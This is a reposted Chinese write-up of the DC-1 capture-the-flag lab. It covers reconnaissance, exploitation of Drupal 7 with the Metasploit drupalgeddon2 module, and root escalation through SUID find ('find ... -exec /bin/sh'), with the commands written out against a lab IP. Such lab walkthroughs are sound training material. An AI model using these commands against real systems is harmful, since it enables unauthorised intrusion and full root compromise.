zoukankan
html css js c++ java
DC1
1.收集信息
cms信息 使用的是Drupal的cms
端口信息 开开启了22端口,80端口,111端口
目录信息 扫到敏感目录
http://192.168.0.119/robots.txt
通过cewl收集敏感信息并生成字典
cewl http://192.168.0.119 -w passwd.txt
2.漏洞分析与利用
通过robots.txt查看敏感目录内容获取中重要信息
可以从uprgade.txt看出,使用的cms是版本为7.x的Drupal
搜索相关漏洞
进入msfconsle ——> search Drupal
尝试使用最新的,rank为execllent的payload: exploit/unix/webapp/drupal_drupalgeddon2
使用该payload后查看目标是否在可攻击版本范围内
设置攻击目标,得到session会话
3.尝试提权
内核作为最后杀招不得已再用。首先联想到常见几种提权方式,suid提权
python -c 'import pty;pty.spawn("/bin/bash")' #利用python的pty获得一个完整的tty
find / -perm -u=s -type f 2>/dev/null #将有suid权限的打印出来
发现常用于usid提权的工具find
cd /tmp #切换到tmp目录下
touch luojun #创建lj文件
find luojun -exec "whoami" ; #查询lj文件并执行whoami命令
成功发现执行命令的是root权限
find luojun -exec "/bin/bash" ; #将bash的shell反弹出来,发现失败了
find luojun -exec "/bin/sh" ; #将sh的shell反弹出来,发现成功,获得root权限
提权成功,接下来任意妄为寻找flag
查看全文
相关阅读:
vim插件:显示树形目录插件NERDTree安装 和 使用【转】
CMake 入门实战【转】
在 linux 下使用 CMake 构建应用程序【转】
Buildroot构建指南——根文件系统(Rootfs)【转】
Buildroot构建指南--快速上手与实用技巧【转】
Vim升华之树形目录插件NERDTree安装图解【转】
【转】Android端与Android端利用WIFI进行FTP通信
【转】Android 服务器之SFTP服务器上传下载功能 -- 不错
【转】session setup failed: NT_STATUS_LOGON_FAILURE -- 不错
【转】Mac OS X开机启动Path had bad permissions错误解决方案
原文地址:https://www.cnblogs.com/sup3rman/p/12389296.html
最新文章
希尔排序
java如何实现不固定个数传参
设置电脑在休眠状态下下载东西
js声明变量的三种方式及作用域
ORACLE判断两个日期间隔几个工作日
java 文件复制
[Ubuntu]安装中文输入法
【原创】PHP扩展开发进阶
JavaScript正則表達式知识汇总
在对Activity基类的封装中,我做了什么
热门文章
005推断两个字符串是否是变位词 (keep it up)
第十七周自由练习项目——acm 学生最高最低成绩
oracle学习之第一个存储过程:打印Hello World
leetcode
POJ3684 Physics Experiment 【物理】
统计问题
wpa_supplicant
Linux下使用putty进行UART串口调试【转】
linux系统编程之进程(七):system()函数使用【转】
fscanf()函数详解【转】
Copyright © 2011-2022 走看看